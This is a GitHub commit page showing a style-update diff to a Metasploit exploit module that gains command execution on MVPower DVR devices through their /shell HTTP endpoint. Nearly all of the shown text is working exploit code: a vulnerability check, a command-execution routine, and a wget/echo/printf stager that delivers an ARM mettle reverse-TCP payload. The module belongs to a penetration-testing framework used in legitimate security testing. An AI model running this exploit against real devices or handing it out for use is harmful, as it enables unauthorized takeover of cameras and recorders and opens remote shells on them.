Skip to content

Commit 47fec56

Browse files
committed
Style update
1 parent e491f01 commit 47fec56

File tree

1 file changed

+14
-16
lines changed

1 file changed

+14
-16
lines changed

modules/exploits/linux/http/mvpower_dvr_shell_exec.rb

Lines changed: 14 additions & 16 deletions
Original file line numberDiff line numberDiff line change
@@ -3,8 +3,6 @@
33
# Current source: https://github.com/rapid7/metasploit-framework
44
##
55

6-
require 'msf/core'
7-
86
class MetasploitModule < Msf::Exploit::Remote
97
Rank = ExcellentRanking
108

@@ -47,39 +45,39 @@ def initialize(info = {})
4745
'Arch' => ARCH_ARMLE,
4846
'DefaultOptions' =>
4947
{
50-
'Payload' => 'linux/armle/mettle_reverse_tcp'
48+
'Payload' => 'linux/armle/mettle_reverse_tcp',
49+
'cmdstager::flavor' => 'wget'
5150
},
5251
'Targets' =>
5352
[
5453
['Automatic', {}]
5554
],
56-
'DefaultTarget' => 0))
57-
deregister_options('CMDSTAGER::FLAVOR')
55+
'CmdStagerFlavor' => %w{ echo printf wget },
56+
'DefaultTarget' => 0))
5857
end
5958

6059
def check
6160
begin
6261
fingerprint = Rex::Text::rand_text_alpha(rand(10) + 6)
63-
res = send_request_cgi({
62+
res = send_request_cgi(
6463
'uri' => "/shell?echo+#{fingerprint}",
6564
'headers' => { 'Connection' => 'Keep-Alive' }
66-
})
67-
if res && res.body =~ /#{fingerprint}/
68-
return Exploit::CheckCode::Vulnerable
65+
)
66+
if res && res.body.include?(fingerprint)
67+
return CheckCode::Vulnerable
6968
end
7069
rescue ::Rex::ConnectionError
71-
return Exploit::CheckCode::Unknown
70+
return CheckCode::Unknown
7271
end
73-
Exploit::CheckCode::Safe
72+
CheckCode::Safe
7473
end
7574

7675
def execute_command(cmd, opts)
7776
begin
78-
res = send_request_cgi({
77+
send_request_cgi(
7978
'uri' => "/shell?#{Rex::Text.uri_encode(cmd, 'hex-all')}",
8079
'headers' => { 'Connection' => 'Keep-Alive' }
81-
})
82-
return res
80+
)
8381
rescue ::Rex::ConnectionError
8482
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
8583
end
@@ -88,12 +86,12 @@ def execute_command(cmd, opts)
8886
def exploit
8987
print_status("#{peer} - Connecting to target")
9088

91-
unless check == Exploit::CheckCode::Vulnerable
89+
unless check == CheckCode::Vulnerable
9290
fail_with(Failure::Unknown, "#{peer} - Target is not vulnerable")
9391
end
9492

9593
print_good("#{peer} - Target is vulnerable!")
9694

97-
execute_cmdstager(flavor: :wget, linemax: 1500)
95+
execute_cmdstager(linemax: 1500)
9896
end
9997
end

0 commit comments

Comments
 (0)